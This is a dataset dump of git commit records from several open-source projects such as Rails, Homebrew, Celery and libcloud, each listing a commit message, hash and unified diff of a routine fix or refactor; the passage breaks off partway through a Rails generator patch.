content_type
stringclasses 8
values | main_lang
stringclasses 7
values | message
stringlengths 1
50
| sha
stringlengths 40
40
| patch
stringlengths 52
962k
| file_count
int64 1
300
|
|---|---|---|---|---|---|
Ruby
|
Ruby
|
remove unused literal introduced in
|
0ac549a49a690416865793e48bd7c3d3afe91a94
|
<ide><path>actionpack/lib/action_dispatch/http/content_security_policy.rb
<ide> def apply_mapping(source)
<ide> def build_directives(context, nonce)
<ide> @directives.map do |directive, sources|
<ide> if sources.is_a?(Array)
<del> "#{directive} #{build_directive(sources, context).join(' ')}"
<ide> if nonce && nonce_directive?(directive)
<ide> "#{directive} #{build_directive(sources, context).join(' ')} 'nonce-#{nonce}'"
<ide> else
| 1
|
Ruby
|
Ruby
|
handle `nil` first character
|
720a00e68ead46fe9669dc2fce355dbf2d3a0d09
|
<ide><path>Library/Homebrew/rubocops/formula_desc.rb
<ide> def autocorrect(node)
<ide> first_word = string_content(node).split.first
<ide> unless VALID_LOWERCASE_WORDS.include?(first_word)
<ide> first_char = first_word.to_s.chars.first
<del> correction.sub!(/^(['"]?)([a-z])/, "\\1#{first_char.upcase}")
<add> correction.sub!(/^(['"]?)([a-z])/, "\\1#{first_char.upcase}") if first_char
<ide> end
<ide> correction.sub!(/^(['"]?)an?\s/i, "\\1")
<ide> correction.gsub!(/(ommand ?line)/i, "ommand-line")
| 1
|
Ruby
|
Ruby
|
add a default parameter for resolver#initialize
|
78ced08338e227f6cc380bb3e0f2ee8cda131d9a
|
<ide><path>actionpack/lib/action_view/template/resolver.rb
<ide> module ActionView
<ide> # Abstract superclass
<ide> class Resolver
<del> def initialize(options)
<add> def initialize(options = {})
<ide> @cache = options[:cache]
<ide> @cached = {}
<ide> end
| 1
|
Python
|
Python
|
advertise features in rimuhosting driver
|
324983fdf8487ca3ccaaf4af7a2f1edec30d6882
|
<ide><path>libcloud/drivers/rimuhosting.py
<ide> # Copyright 2009 RedRata Ltd
<ide>
<ide> from libcloud.types import Provider, NodeState
<del>from libcloud.base import ConnectionKey, Response, NodeDriver, NodeSize, Node
<add>from libcloud.base import ConnectionKey, Response, NodeAuthPassword, NodeDriver, NodeSize, Node
<ide> from libcloud.base import NodeImage
<ide> from copy import copy
<ide>
<ide> def create_node(self, **kwargs):
<ide> node.extra['password'] = res['new_order_request']['instantiation_options']['password']
<ide> return node
<ide>
<add> features = {"create_node": ["password"]}
<ide>
| 1
|
Python
|
Python
|
show detailed info about active tasks
|
233087e5577945c1ed46c75cb8b4e2c0c5a46658
|
<ide><path>celery/worker/control/builtins.py
<ide> from celery import conf
<ide> from celery.backends import default_backend
<ide> from celery.registry import tasks
<add>from celery.serialization import pickle
<ide> from celery.utils import timeutils
<ide> from celery.worker import state
<ide> from celery.worker.state import revoked
<ide> def dump_active(panel, **kwargs):
<ide>
<ide>
<ide> @Panel.register
<del>def stats(panel, **kwargs):
<del> return {"active": state.active,
<del> "total": state.total,
<add>def stats(panel, safe=False, **kwargs):
<add> active_requests = [request.info(safe=safe)
<add> for request in state.active_requests]
<add> return {"active": active_requests,
<add> "total": state.total_count,
<ide> "pool": panel.listener.pool.info}
<ide>
<ide>
<ide><path>celery/worker/job.py
<ide> def __init__(self, task_name, task_id, args, kwargs,
<ide>
<ide> self.task = tasks[self.task_name]
<ide>
<del> def __repr__(self):
<del> return '<%s: {name:"%s", id:"%s", args:"%s", kwargs:"%s"}>' % (
<del> self.__class__.__name__,
<del> self.task_name, self.task_id,
<del> self.args, self.kwargs)
<del>
<ide> def revoked(self):
<ide> if self._already_revoked:
<ide> return True
<ide> def execute_using_pool(self, pool, loglevel=None, logfile=None):
<ide> return result
<ide>
<ide> def on_accepted(self):
<del> state.task_accepted(self.task_name)
<add> state.task_accepted(self)
<ide> if not self.task.acks_late:
<ide> self.acknowledge()
<ide> self.send_event("task-started", uuid=self.task_id)
<ide> self.logger.debug("Task accepted: %s[%s]" % (
<ide> self.task_name, self.task_id))
<ide>
<ide> def on_timeout(self, soft):
<del> state.task_ready(self.task_name)
<add> state.task_ready(self)
<ide> if soft:
<ide> self.logger.warning("Soft time limit exceeded for %s[%s]" % (
<ide> self.task_name, self.task_id))
<ide> def on_failure(self, exc_info):
<ide> subject = self.email_subject.strip() % context
<ide> body = self.email_body.strip() % context
<ide> mail_admins(subject, body, fail_silently=True)
<add>
<add> def __repr__(self):
<add> return '<%s: {name:"%s", id:"%s", args:"%s", kwargs:"%s"}>' % (
<add> self.__class__.__name__,
<add> self.task_name, self.task_id,
<add> self.args, self.kwargs)
<add>
<add> def info(self, safe=False):
<add> args = self.args
<add> kwargs = self.kwargs
<add> if not safe:
<add> args = repr(args)
<add> kwargs = repr(self.kwargs)
<add>
<add> return {"id": self.task_id,
<add> "name": self.task_name,
<add> "args": args,
<add> "kwargs": kwargs,
<add> "hostname": self.hostname,
<add> "time_start": self.time_start,
<add> "acknowledged": self.acknowledged,
<add> "delivery_info": self.delivery_info}
<ide><path>celery/worker/state.py
<ide> REVOKES_MAX = 10000
<ide> REVOKE_EXPIRES = 3600 # One hour.
<ide>
<del>active = defaultdict(lambda: 0)
<del>total = defaultdict(lambda: 0)
<add>active_requests = set()
<add>total_count = defaultdict(lambda: 0)
<ide> revoked = LimitedSet(maxlen=REVOKES_MAX, expires=REVOKE_EXPIRES)
<ide>
<ide>
<del>def task_accepted(task_name):
<del> active[task_name] += 1
<del> total[task_name] += 1
<add>def task_accepted(request):
<add> active_requests.add(request)
<add> total_count[request.task_name] += 1
<ide>
<ide>
<del>def task_ready(task_name):
<del> active[task_name] -= 1
<del> if active[task_name] == 0:
<del> active.pop(task_name, None)
<add>def task_ready(request):
<add> try:
<add> active_requests.remove(request)
<add> except IndexError:
<add> pass
<ide>
<ide>
<ide> class Persistent(object):
| 3
|
Go
|
Go
|
use separate exec-root for test daemons
|
0d9b94c4c5d6b4f03a7a86e731e4110e9f27a51e
|
<ide><path>integration-cli/daemon.go
<ide> func (d *Daemon) StartWithLogFile(out *os.File, providedArgs ...string) error {
<ide> d.Command,
<ide> "--containerd", "/var/run/docker/libcontainerd/docker-containerd.sock",
<ide> "--graph", d.root,
<add> "--exec-root", filepath.Join(d.folder, "exec-root"),
<ide> "--pidfile", fmt.Sprintf("%s/docker.pid", d.folder),
<ide> fmt.Sprintf("--userland-proxy=%t", d.userlandProxy),
<ide> )
<ide><path>libcontainerd/remote_linux.go
<ide> func (r *remote) getLastEventTimestamp() int64 {
<ide> t := time.Now()
<ide>
<ide> fi, err := os.Stat(r.eventTsPath)
<del> if os.IsNotExist(err) {
<add> if os.IsNotExist(err) || fi.Size() == 0 {
<ide> return t.Unix()
<ide> }
<ide>
| 2
|
Python
|
Python
|
remove unused imports
|
b1e2466272fa0c2ee08701c3d86a03088218b69e
|
<ide><path>numpy/distutils/tests/test_misc_util.py
<ide> #!/usr/bin/env python
<ide>
<del>import os
<del>import sys
<ide> from numpy.testing import *
<ide> from numpy.distutils.misc_util import appendpath, minrelpath, gpaths, rel_path
<del>from os.path import join, sep
<add>from os.path import join, sep, dirname
<ide>
<ide> ajoin = lambda *paths: join(*((sep,)+paths))
<ide>
<ide> def test_3(self):
<ide> class TestMinrelpath(TestCase):
<ide>
<ide> def test_1(self):
<del> import os
<del> n = lambda path: path.replace('/',os.path.sep)
<add> n = lambda path: path.replace('/',sep)
<ide> assert_equal(minrelpath(n('aa/bb')),n('aa/bb'))
<ide> assert_equal(minrelpath('..'),'..')
<ide> assert_equal(minrelpath(n('aa/..')),'')
<ide> def test_1(self):
<ide> class TestGpaths(TestCase):
<ide>
<ide> def test_gpaths(self):
<del> local_path = minrelpath(os.path.join(os.path.dirname(__file__),'..'))
<add> local_path = minrelpath(join(dirname(__file__),'..'))
<ide> ls = gpaths('command/*.py', local_path)
<del> assert os.path.join(local_path,'command','build_src.py') in ls,`ls`
<add> assert join(local_path,'command','build_src.py') in ls,`ls`
<ide> f = gpaths('system_info.py', local_path)
<del> assert os.path.join(local_path,'system_info.py')==f[0],`f`
<add> assert join(local_path,'system_info.py')==f[0],`f`
<ide>
<ide>
<ide> if __name__ == "__main__":
| 1
|
Javascript
|
Javascript
|
patch support for 13.x
|
d8aa38c539a73018f604767b40a4698af20b02db
|
<ide><path>deps/npm/lib/utils/unsupported.js
<ide> var supportedNode = [
<ide> {ver: '9', min: '9.0.0'},
<ide> {ver: '10', min: '10.0.0'},
<ide> {ver: '11', min: '11.0.0'},
<del> {ver: '12', min: '12.0.0'}
<add> {ver: '12', min: '12.0.0'},
<add> {ver: '13', min: '13.0.0'}
<ide> ]
<ide> var knownBroken = '<6.0.0'
<ide>
| 1
|
Java
|
Java
|
incorporate review suggestions
|
be560b58da1c89e56091cd109f620d7eda3a24fb
|
<ide><path>rxjava-core/src/main/java/rx/Observable.java
<ide> public static <T> Observable<T> concat(Observable<T>... source) {
<ide> * @return an Observable that emits the same objects, then calls the action.
<ide> * @see <a href="http://msdn.microsoft.com/en-us/library/hh212133(v=vs.103).aspx">MSDN: Observable.Finally Method</a>
<ide> */
<del> public static <T> Observable<T> finally0(Observable source, Action0 action) {
<del> return _create(OperationFinally.finally0(source, action));
<add> public static <T> Observable<T> finallyDo(Observable source, Action0 action) {
<add> return _create(OperationFinally.finallyDo(source, action));
<ide> }
<ide>
<ide> /**
<ide> public Observable<T> filter(Func1<T, Boolean> predicate) {
<ide> * @return an Observable that emits the same objects as this observable, then calls the action.
<ide> * @see <a href="http://msdn.microsoft.com/en-us/library/hh212133(v=vs.103).aspx">MSDN: Observable.Finally Method</a>
<ide> */
<del> public Observable<T> finally0(Action0 action) {
<del> return _create(OperationFinally.finally0(this, action));
<add> public Observable<T> finallyDo(Action0 action) {
<add> return _create(OperationFinally.finallyDo(this, action));
<ide> }
<ide>
<ide> /**
<ide><path>rxjava-core/src/main/java/rx/operators/OperationFinally.java
<ide> public final class OperationFinally {
<ide> /**
<ide> * Call a given action when a sequence completes (with or without an
<ide> * exception). The returned observable is exactly as threadsafe as the
<del> * source observable; in particular, any situation allowing the source to
<del> * call onComplete or onError multiple times allows the returned observable
<del> * to call the final action multiple times.
<add> * source observable.
<ide> * <p/>
<ide> * Note that "finally" is a Java reserved word and cannot be an identifier,
<del> * so we use "finally0".
<add> * so we use "finallyDo".
<ide> *
<ide> * @param sequence An observable sequence of elements
<ide> * @param action An action to be taken when the sequence is complete or throws an exception
<ide> public final class OperationFinally {
<ide> * the given action will be called.
<ide> * @see <a href="http://msdn.microsoft.com/en-us/library/hh212133(v=vs.103).aspx">MSDN Observable.Finally method</a>
<ide> */
<del> public static <T> Func1<Observer<T>, Subscription> finally0(final Observable<T> sequence, final Action0 action) {
<add> public static <T> Func1<Observer<T>, Subscription> finallyDo(final Observable<T> sequence, final Action0 action) {
<ide> return new Func1<Observer<T>, Subscription>() {
<ide> @Override
<ide> public Subscription call(Observer<T> observer) {
<ide> public Subscription call(Observer<T> observer) {
<ide> private static class Finally<T> implements Func1<Observer<T>, Subscription> {
<ide> private final Observable<T> sequence;
<ide> private final Action0 finalAction;
<del> private Subscription s;
<ide>
<ide> Finally(final Observable<T> sequence, Action0 finalAction) {
<ide> this.sequence = sequence;
<ide> this.finalAction = finalAction;
<ide> }
<ide>
<del> private final AtomicObservableSubscription Subscription = new AtomicObservableSubscription();
<del>
<del> private final Subscription actualSubscription = new Subscription() {
<del> @Override
<del> public void unsubscribe() {
<del> if (null != s)
<del> s.unsubscribe();
<del> }
<del> };
<del>
<ide> public Subscription call(Observer<T> observer) {
<del> s = sequence.subscribe(new FinallyObserver(observer));
<del> return Subscription.wrap(actualSubscription);
<add> return sequence.subscribe(new FinallyObserver(observer));
<ide> }
<ide>
<ide> private class FinallyObserver implements Observer<T> {
<ide> private class FinallyObserver implements Observer<T> {
<ide>
<ide> @Override
<ide> public void onCompleted() {
<del> observer.onCompleted();
<del> finalAction.call();
<add> try {
<add> observer.onCompleted();
<add> } finally {
<add> finalAction.call();
<add> }
<ide> }
<ide>
<ide> @Override
<ide> public void onError(Exception e) {
<del> observer.onError(e);
<del> finalAction.call();
<add> try {
<add> observer.onError(e);
<add> } finally {
<add> finalAction.call();
<add> }
<ide> }
<ide>
<ide> @Override
<ide> public void before() {
<ide> aObserver = mock(Observer.class);
<ide> }
<ide> private void checkActionCalled(Observable<String> input) {
<del> Observable.create(finally0(input, aAction0)).subscribe(aObserver);
<add> Observable.create(finallyDo(input, aAction0)).subscribe(aObserver);
<ide> verify(aAction0, times(1)).call();
<ide> }
<ide> @Test
| 2
|
Javascript
|
Javascript
|
fix options.end of fs.readstream()
|
82bdf8fba2d3f197522e31ee49f3cc4f5f52bd53
|
<ide><path>lib/fs.js
<ide> function ReadStream(path, options) {
<ide> this.flags = options.flags === undefined ? 'r' : options.flags;
<ide> this.mode = options.mode === undefined ? 0o666 : options.mode;
<ide>
<del> this.start = options.start;
<add> this.start = typeof this.fd !== 'number' && options.start === undefined ?
<add> 0 : options.start;
<ide> this.end = options.end;
<ide> this.autoClose = options.autoClose === undefined ? true : options.autoClose;
<ide> this.pos = undefined;
<ide><path>test/parallel/test-fs-read-stream.js
<ide> common.expectsError(
<ide> }));
<ide> }
<ide>
<add>{
<add> // Verify that end works when start is not specified.
<add> const stream = new fs.createReadStream(rangeFile, { end: 1 });
<add> stream.data = '';
<add>
<add> stream.on('data', function(chunk) {
<add> stream.data += chunk;
<add> });
<add>
<add> stream.on('end', common.mustCall(function() {
<add> assert.strictEqual('xy', stream.data);
<add> }));
<add>}
<add>
<ide> {
<ide> // pause and then resume immediately.
<ide> const pauseRes = fs.createReadStream(rangeFile);
| 2
|
PHP
|
PHP
|
fix line length
|
e70d9d51351bded6e90e81d883bad203c3759a9c
|
<ide><path>src/Illuminate/Routing/Router.php
<ide> protected function substituteImplicitBindings($route)
<ide> foreach ($route->signatureParameters(Model::class) as $parameter) {
<ide> $class = $parameter->getClass();
<ide>
<del> if (array_key_exists($parameter->name, $parameters) && ! $route->getParameter($parameter->name) instanceof Model) {
<add> if (array_key_exists($parameter->name, $parameters) &&
<add> ! $route->getParameter($parameter->name) instanceof Model) {
<ide> $method = $parameter->isDefaultValueAvailable() ? 'find' : 'findOrFail';
<ide>
<ide> $route->setParameter(
| 1
|
Javascript
|
Javascript
|
fix global leaks in test-buffer.js
|
fbdff52b447efd21c5a552bc47a113ffbe6e4d95
|
<ide><path>test/simple/test-buffer.js
<del>common = require("../common");
<del>assert = common.assert
<del>assert = require("assert");
<add>var common = require("../common");
<add>var assert = require("assert");
<ide>
<ide> var Buffer = require('buffer').Buffer;
<ide>
<ide> assert.deepEqual(f, new Buffer([252, 98, 101, 114]));
<ide> //
<ide> assert.equal('TWFu', (new Buffer('Man')).toString('base64'));
<ide> // big example
<del>quote = "Man is distinguished, not only by his reason, but by this singular passion from other animals, which is a lust of the mind, that by a perseverance of delight in the continued and indefatigable generation of knowledge, exceeds the short vehemence of any carnal pleasure.";
<del>expected = "TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlzIHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2YgdGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGludWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIHRoZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4=";
<add>var quote = "Man is distinguished, not only by his reason, but by this singular passion from other animals, which is a lust of the mind, that by a perseverance of delight in the continued and indefatigable generation of knowledge, exceeds the short vehemence of any carnal pleasure.";
<add>var expected = "TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlzIHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2YgdGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGludWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIHRoZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4=";
<ide> assert.equal(expected, (new Buffer(quote)).toString('base64'));
<ide>
<ide>
<ide> b = new Buffer(1024);
<del>bytesWritten = b.write(expected, 0, 'base64');
<add>var bytesWritten = b.write(expected, 0, 'base64');
<ide> assert.equal(quote.length, bytesWritten);
<ide> assert.equal(quote, b.toString('ascii', 0, quote.length));
<ide>
<ide> assert.equal(new Buffer('w69jACy6BgZmaFvv96HG6MYksWytuZu3T1FvGnulPg=', 'base64
<ide> assert.equal(new Buffer('w69jACy6BgZmaFvv96HG6MYksWytuZu3T1FvGnulPg', 'base64').length, 31);
<ide>
<ide> // This string encodes single '.' character in UTF-16
<del>dot = new Buffer('//4uAA==', 'base64');
<add>var dot = new Buffer('//4uAA==', 'base64');
<ide> assert.equal(dot[0], 0xff);
<ide> assert.equal(dot[1], 0xfe);
<ide> assert.equal(dot[2], 0x2e);
<ide> assert.equal(dot.toString('base64'), '//4uAA==');
<ide>
<ide>
<ide> // Creating buffers larger than pool size.
<del>l = Buffer.poolSize + 5;
<del>s = ""
<add>var l = Buffer.poolSize + 5;
<add>var s = ""
<ide> for (i = 0; i < l; i++) {
<ide> s += "h";
<ide> }
<ide>
<del>b = new Buffer(s);
<add>var b = new Buffer(s);
<ide>
<ide> for (i = 0; i < l; i++) {
<ide> assert.equal("h".charCodeAt(0), b[i]);
<ide> }
<ide>
<del>sb = b.toString();
<add>var sb = b.toString();
<ide> assert.equal(sb.length, s.length);
<ide> assert.equal(sb, s);
<ide>
| 1
|
Javascript
|
Javascript
|
report results properly to test.py from driver.js
|
7cbdc982c51855f6c064a11f67ae0cf4f93c66be
|
<ide><path>test/driver.js
<ide> function nextTask() {
<ide> }
<ide>
<ide> function isLastPage(task) {
<del> return (!task.pdfDoc || (task.pageNum > task.pdfDoc.numPages));
<add> return (task.pageNum > task.pdfDoc.numPages);
<ide> }
<ide>
<ide> function nextPage(task, loadError) {
<add> var failure = loadError || '';
<add>
<add> if (!task.pdfDoc) {
<add> sendTaskResult(canvas.toDataURL('image/png'), task, failure);
<add> log('done' + (failure ? ' (failed !: ' + failure + ')' : '') + '\n');
<add> ++currentTaskIdx, nextTask();
<add> return;
<add> }
<add>
<ide> if (isLastPage(task)) {
<ide> if (++task.round < task.rounds) {
<ide> log(' Round ' + (1 + task.round) + '\n');
<ide> function nextPage(task, loadError) {
<ide> }
<ide> }
<ide>
<del> var failure = loadError || '';
<del>
<del> var ctx = null;
<ide> var page = null;
<add>
<ide> if (!failure) {
<ide> try {
<ide> log(' loading page ' + task.pageNum + '/' + task.pdfDoc.numPages +
<ide> '... ');
<del> ctx = canvas.getContext('2d');
<add> var ctx = canvas.getContext('2d');
<ide> page = task.pdfDoc.getPage(task.pageNum);
<ide>
<ide> var pdfToCssUnitsCoef = 96.0 / 72.0;
<ide> var inFlightRequests = 0;
<ide> function sendTaskResult(snapshot, task, failure) {
<ide> var result = { browser: browser,
<ide> id: task.id,
<del> numPages: task.pdfDoc.numPages,
<add> numPages: task.pdfDoc ? task.pdfDoc.numPages : 0,
<ide> failure: failure,
<ide> file: task.file,
<ide> round: task.round,
| 1
|
Javascript
|
Javascript
|
fix all broken links
|
a0b35161a6b9143ee89853e5c924d7855a488c25
|
<ide><path>src/Injector.js
<ide> * * `self` - "`this`" to be used when invoking the function.
<ide> * * `fn` - the function to be invoked. The function may have the `$inject` property which
<ide> * lists the set of arguments which should be auto injected
<del> * (see {@link guide.di dependency injection}).
<add> * (see {@link guide/dev_guide.di dependency injection}).
<ide> * * `curryArgs(array)` - optional array of arguments to pass to function invocation after the
<ide> * injection arguments (also known as curry arguments or currying).
<ide> * * an `eager` property which is used to initialize the eager services.
<ide><path>src/formatters.js
<ide> * Following is the list of built-in angular formatters:
<ide> *
<ide> * * {@link angular.formatter.boolean boolean} - Formats user input in boolean format
<del> * * {@link angular.formatter.index index} - Manages indexing into an HTML select widget
<ide> * * {@link angular.formatter.json json} - Formats user input in JSON format
<ide> * * {@link angular.formatter.list list} - Formats user input string as an array
<ide> * * {@link angular.formatter.number number} - Formats user input strings as a number
| 2
|
Text
|
Text
|
use american spelling as per style guide
|
0b7889582428b3cf1ea0ee48768854a2ca63478c
|
<ide><path>doc/guides/backporting-to-release-lines.md
<ide> hint: and commit the result with 'git commit'
<ide> 2. Include the backport target in the pull request title in the following
<ide> format — `[v6.x backport] <commit title>`.
<ide> Example: `[v6.x backport] process: improve performance of nextTick`
<del> 3. Check the checkbox labelled "Allow edits from maintainers".
<add> 3. Check the checkbox labeled "Allow edits from maintainers".
<ide> 4. In the description add a reference to the original PR
<ide> 5. Run a [`node-test-pull-request`][] CI job (with `REBASE_ONTO` set to the
<ide> default `<pr base branch>`)
| 1
|
Ruby
|
Ruby
|
avoid nil error
|
7e31574c3f23fdb2c27ab5d7d552e49792d0bddb
|
<ide><path>Library/Homebrew/utils/ast.rb
<ide> def include_runtime_cpu_detection?
<ide> return false if install_node.blank?
<ide>
<ide> install_node.each_node.any? do |node|
<del> node.send_type? && node.receiver.const_name == "ENV" && node.method_name == :runtime_cpu_detection
<add> node.send_type? && node.receiver&.const_name == "ENV" && node.method_name == :runtime_cpu_detection
<ide> end
<ide> end
<ide>
| 1
|
Python
|
Python
|
add sol3 to project_euler/problem_08
|
52cf66861771cf75d9be52c9a99dcb54737a77cc
|
<ide><path>project_euler/problem_08/sol3.py
<add># -*- coding: utf-8 -*-
<add>"""
<add>The four adjacent digits in the 1000-digit number that have the greatest
<add>product are 9 × 9 × 8 × 9 = 5832.
<add>
<add>73167176531330624919225119674426574742355349194934
<add>96983520312774506326239578318016984801869478851843
<add>85861560789112949495459501737958331952853208805511
<add>12540698747158523863050715693290963295227443043557
<add>66896648950445244523161731856403098711121722383113
<add>62229893423380308135336276614282806444486645238749
<add>30358907296290491560440772390713810515859307960866
<add>70172427121883998797908792274921901699720888093776
<add>65727333001053367881220235421809751254540594752243
<add>52584907711670556013604839586446706324415722155397
<add>53697817977846174064955149290862569321978468622482
<add>83972241375657056057490261407972968652414535100474
<add>82166370484403199890008895243450658541227588666881
<add>16427171479924442928230863465674813919123162824586
<add>17866458359124566529476545682848912883142607690042
<add>24219022671055626321111109370544217506941658960408
<add>07198403850962455444362981230987879927244284909188
<add>84580156166097919133875499200524063689912560717606
<add>05886116467109405077541002256983155200055935729725
<add>71636269561882670428252483600823257530420752963450
<add>
<add>Find the thirteen adjacent digits in the 1000-digit number that have the
<add>greatest product. What is the value of this product?
<add>"""
<add>import sys
<add>
<add>N = """73167176531330624919225119674426574742355349194934\
<add>96983520312774506326239578318016984801869478851843\
<add>85861560789112949495459501737958331952853208805511\
<add>12540698747158523863050715693290963295227443043557\
<add>66896648950445244523161731856403098711121722383113\
<add>62229893423380308135336276614282806444486645238749\
<add>30358907296290491560440772390713810515859307960866\
<add>70172427121883998797908792274921901699720888093776\
<add>65727333001053367881220235421809751254540594752243\
<add>52584907711670556013604839586446706324415722155397\
<add>53697817977846174064955149290862569321978468622482\
<add>83972241375657056057490261407972968652414535100474\
<add>82166370484403199890008895243450658541227588666881\
<add>16427171479924442928230863465674813919123162824586\
<add>17866458359124566529476545682848912883142607690042\
<add>24219022671055626321111109370544217506941658960408\
<add>07198403850962455444362981230987879927244284909188\
<add>84580156166097919133875499200524063689912560717606\
<add>05886116467109405077541002256983155200055935729725\
<add>71636269561882670428252483600823257530420752963450"""
<add>
<add>
<add>def streval(s: str) -> int:
<add> ret = 1
<add> for it in s:
<add> ret *= int(it)
<add> return ret
<add>
<add>
<add>def solution(n: str) -> int:
<add> """Find the thirteen adjacent digits in the 1000-digit number n that have
<add> the greatest product and returns it.
<add>
<add> >>> solution(N)
<add> 23514624000
<add> """
<add> LargestProduct = -sys.maxsize - 1
<add> substr = n[:13]
<add> cur_index = 13
<add> while cur_index < len(n) - 13:
<add> if int(n[cur_index]) >= int(substr[0]):
<add> substr = substr[1:] + n[cur_index]
<add> cur_index += 1
<add> else:
<add> LargestProduct = max(LargestProduct, streval(substr))
<add> substr = n[cur_index : cur_index + 13]
<add> cur_index += 13
<add> return LargestProduct
<add>
<add>
<add>if __name__ == "__main__":
<add> print(solution(N))
| 1
|
Text
|
Text
|
change "wil" to "will"
|
d4675c56b5df2d48354ba9e236d9508f29a6648a
|
<ide><path>docs/basic-features/data-fetching.md
<ide> Using `getInitialProps` will make the page opt-in to on-demand [server-side rend
<ide> // Next.js will execute `getInitialProps`
<ide> // It will wait for the result of `getInitialProps`
<ide> // When the results comes back Next.js will render the page.
<del>// Next.js wil do this for every request that comes in.
<add>// Next.js will do this for every request that comes in.
<ide> import fetch from 'isomorphic-unfetch'
<ide>
<ide> function HomePage({ stars }) {
| 1
|
Python
|
Python
|
propagate cloud_environment to connection class
|
018e09f62d02ba930639e230f08c562229f63eee
|
<ide><path>libcloud/common/azure_arm.py
<ide> class AzureResourceManagementConnection(ConnectionUserAndKey):
<ide> rawResponseCls = RawResponse
<ide>
<ide> def __init__(self, key, secret, secure=True, tenant_id=None,
<del> subscription_id=None, **kwargs):
<add> subscription_id=None, cloud_environment=None, **kwargs):
<ide> super(AzureResourceManagementConnection, self) \
<ide> .__init__(key, secret, **kwargs)
<del> cloud_environment = kwargs.get("cloud_environment", "default")
<add> if not cloud_environment:
<add> cloud_environment = "default"
<ide> if isinstance(cloud_environment, basestring):
<ide> cloud_environment = publicEnvironments[cloud_environment]
<ide> if not isinstance(cloud_environment, dict):
<ide><path>libcloud/compute/drivers/azure_arm.py
<ide> def __init__(self, tenant_id, subscription_id, key, secret,
<ide> api_version=None, region=None, **kwargs):
<ide> self.tenant_id = tenant_id
<ide> self.subscription_id = subscription_id
<add> self.cloud_environment = kwargs.get("cloud_environment")
<ide> super(AzureNodeDriver, self).__init__(key=key, secret=secret,
<ide> secure=secure,
<ide> host=host, port=port,
<ide> def _ex_connection_class_kwargs(self):
<ide> kwargs = super(AzureNodeDriver, self)._ex_connection_class_kwargs()
<ide> kwargs['tenant_id'] = self.tenant_id
<ide> kwargs['subscription_id'] = self.subscription_id
<add> kwargs["cloud_environment"] = self.cloud_environment
<ide> return kwargs
<ide>
<ide> def _to_node(self, data, fetch_nic=True):
| 2
|
Ruby
|
Ruby
|
remove confusing xquartz annotation
|
120ce10730acfeb458801fcc24042ed34c463251
|
<ide><path>Library/Homebrew/cmd/--config.rb
<ide> def describe_path path
<ide>
<ide> def describe_x11
<ide> return "N/A" unless MacOS::XQuartz.installed?
<del> return "XQuartz #{MacOS::XQuartz.version} in " + describe_path(MacOS::XQuartz.prefix)
<add> return "#{MacOS::XQuartz.version} in " + describe_path(MacOS::XQuartz.prefix)
<ide> end
<ide>
<ide> def describe_perl
| 1
|
Javascript
|
Javascript
|
improve docs computed filter
|
b42569172fc44dc22af93360ab439c9cd226454a
|
<ide><path>packages/ember-runtime/lib/computed/reduce_computed_macros.js
<ide> export function mapBy(dependentKey, propertyKey) {
<ide> hamster.get('remainingChores'); // [{name: 'write more unit tests', done: false}]
<ide> ```
<ide>
<add> You can also use `@each.property` in your dependent key, the callback will still use the underlying array:
<add>
<add> ```javascript
<add> let Hamster = Ember.Object.extend({
<add> remainingChores: Ember.computed.filter('chores.@each.done', function(chore, index, array) {
<add> return !chore.get('done');
<add> })
<add> });
<add>
<add> let hamster = Hamster.create({
<add> chores: Ember.A([
<add> Ember.Object.create({ name: 'cook', done: true }),
<add> Ember.Object.create({ name: 'clean', done: true }),
<add> Ember.Object.create({ name: 'write more unit tests', done: false })
<add> ])
<add> });
<add> hamster.get('remainingChores'); // [{name: 'write more unit tests', done: false}]
<add> hamster.get('chores').objectAt(2).set('done', true);
<add> hamster.get('remainingChores'); // []
<add> ```
<add>
<add>
<ide> @method filter
<ide> @for Ember.computed
<ide> @param {String} dependentKey
| 1
|
Text
|
Text
|
add info about a502703 to rails 5 release notes
|
c427033e7a95c7c80d8aec04c8b04f041e5cde4d
|
<ide><path>guides/source/5_0_release_notes.md
<ide> Please refer to the [Changelog][active-record] for detailed changes.
<ide> * Removed support for `activerecord-deprecated_finders` gem.
<ide> ([commit](https://github.com/rails/rails/commit/78dab2a8569408658542e462a957ea5a35aa4679))
<ide>
<add>* Removed `ActiveRecord::ConnectionAdapters::Column::TRUE_VALUES` constant.
<add> ([commit](https://github.com/rails/rails/commit/a502703c3d2151d4d3b421b29fefdac5ad05df61))
<add>
<ide> ### Deprecations
<ide>
<ide> * Deprecated passing a class as a value in a query. Users should pass strings
| 1
|
Ruby
|
Ruby
|
use rails 3.1 `change` method in model generator
|
9e64dfad0df4ed8a10d2ad2a17cd0848017d652c
|
<ide><path>activerecord/lib/rails/generators/active_record/model/templates/migration.rb
<ide> class <%= migration_class_name %> < ActiveRecord::Migration
<del> def up
<add> def change
<ide> create_table :<%= table_name %> do |t|
<ide> <% for attribute in attributes -%>
<ide> t.<%= attribute.type %> :<%= attribute.name %>
<ide> def up
<ide> add_index :<%= table_name %>, :<%= attribute.name %>_id
<ide> <% end -%>
<ide> end
<del>
<del> def down
<del> drop_table :<%= table_name %>
<del> end
<ide> end
<ide><path>railties/test/generators/model_generator_test.rb
<ide> def test_migration_with_attributes
<ide> run_generator ["product", "name:string", "supplier_id:integer"]
<ide>
<ide> assert_migration "db/migrate/create_products.rb" do |m|
<del> assert_method :up, m do |up|
